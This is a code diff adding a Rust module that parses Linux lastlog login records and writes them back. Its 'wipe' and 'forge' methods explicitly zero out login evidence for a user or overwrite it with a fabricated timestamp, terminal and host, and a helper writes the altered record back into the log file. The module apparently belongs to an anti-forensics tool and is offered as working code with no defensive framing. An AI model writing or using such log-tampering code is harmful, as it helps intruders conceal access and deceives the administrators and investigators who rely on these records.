|
| 1 | +/// lastlog binary record handling. |
| 2 | +/// |
| 3 | +/// struct lastlog: |
| 4 | +/// ll_time: u32 (4 bytes) - timestamp |
| 5 | +/// ll_line: [u8; 32] - terminal |
| 6 | +/// ll_host: [u8; 256] - hostname/IP |
| 7 | +/// Total: 292 bytes |
| 8 | +/// |
| 9 | +/// Indexed by UID: record for UID N starts at offset N * 292. |
| 10 | +
|
| 11 | +use std::fs; |
| 12 | +use std::io::{self, Write, Seek, SeekFrom}; |
| 13 | + |
| 14 | +pub const LASTLOG_RECORD_SIZE: usize = 292; |
| 15 | + |
| 16 | +#[derive(Debug, Clone)] |
| 17 | +pub struct LastlogRecord { |
| 18 | + pub uid: u32, |
| 19 | + pub raw: [u8; LASTLOG_RECORD_SIZE], |
| 20 | +} |
| 21 | + |
| 22 | +impl LastlogRecord { |
| 23 | + pub fn timestamp(&self) -> u32 { |
| 24 | + u32::from_le_bytes([self.raw[0], self.raw[1], self.raw[2], self.raw[3]]) |
| 25 | + } |
| 26 | + |
| 27 | + pub fn line(&self) -> String { |
| 28 | + extract_string(&self.raw[4..36]) |
| 29 | + } |
| 30 | + |
| 31 | + pub fn host(&self) -> String { |
| 32 | + extract_string(&self.raw[36..292]) |
| 33 | + } |
| 34 | + |
| 35 | + pub fn timestamp_str(&self) -> String { |
| 36 | + let ts = self.timestamp() as i64; |
| 37 | + if ts == 0 { |
| 38 | + return "never".to_string(); |
| 39 | + } |
| 40 | + chrono::DateTime::from_timestamp(ts, 0) |
| 41 | + .map(|dt| dt.format("%Y-%m-%d %H:%M:%S").to_string()) |
| 42 | + .unwrap_or_else(|| format!("{}", ts)) |
| 43 | + } |
| 44 | + |
| 45 | + pub fn is_empty(&self) -> bool { |
| 46 | + self.timestamp() == 0 |
| 47 | + } |
| 48 | + |
| 49 | + /// Zero the entire record (wipe login evidence for this UID). |
| 50 | + pub fn wipe(&mut self) { |
| 51 | + for b in &mut self.raw { *b = 0; } |
| 52 | + } |
| 53 | + |
| 54 | + /// Overwrite with a fake timestamp, terminal, and host. |
| 55 | + pub fn forge(&mut self, timestamp: u32, line: &str, host: &str) { |
| 56 | + self.wipe(); |
| 57 | + let ts_bytes = timestamp.to_le_bytes(); |
| 58 | + self.raw[0..4].copy_from_slice(&ts_bytes); |
| 59 | + |
| 60 | + let line_bytes = line.as_bytes(); |
| 61 | + let len = line_bytes.len().min(31); |
| 62 | + self.raw[4..4 + len].copy_from_slice(&line_bytes[..len]); |
| 63 | + |
| 64 | + let host_bytes = host.as_bytes(); |
| 65 | + let len = host_bytes.len().min(255); |
| 66 | + self.raw[36..36 + len].copy_from_slice(&host_bytes[..len]); |
| 67 | + } |
| 68 | +} |
| 69 | + |
| 70 | +fn extract_string(bytes: &[u8]) -> String { |
| 71 | + let end = bytes.iter().position(|&b| b == 0).unwrap_or(bytes.len()); |
| 72 | + String::from_utf8_lossy(&bytes[..end]).to_string() |
| 73 | +} |
| 74 | + |
| 75 | +/// Read all non-empty lastlog records. |
| 76 | +pub fn read_records(path: &str) -> io::Result<Vec<LastlogRecord>> { |
| 77 | + let data = fs::read(path)?; |
| 78 | + let mut records = Vec::new(); |
| 79 | + |
| 80 | + for (uid, chunk) in data.chunks_exact(LASTLOG_RECORD_SIZE).enumerate() { |
| 81 | + let mut raw = [0u8; LASTLOG_RECORD_SIZE]; |
| 82 | + raw.copy_from_slice(chunk); |
| 83 | + records.push(LastlogRecord { uid: uid as u32, raw }); |
| 84 | + } |
| 85 | + |
| 86 | + Ok(records) |
| 87 | +} |
| 88 | + |
| 89 | +/// Write a single record at the correct UID offset. |
| 90 | +pub fn write_record_at_uid(path: &str, uid: u32, record: &LastlogRecord) -> io::Result<()> { |
| 91 | + let offset = (uid as u64) * (LASTLOG_RECORD_SIZE as u64); |
| 92 | + let mut file = fs::OpenOptions::new().write(true).open(path)?; |
| 93 | + file.seek(SeekFrom::Start(offset))?; |
| 94 | + file.write_all(&record.raw)?; |
| 95 | + Ok(()) |
| 96 | +} |
0 commit comments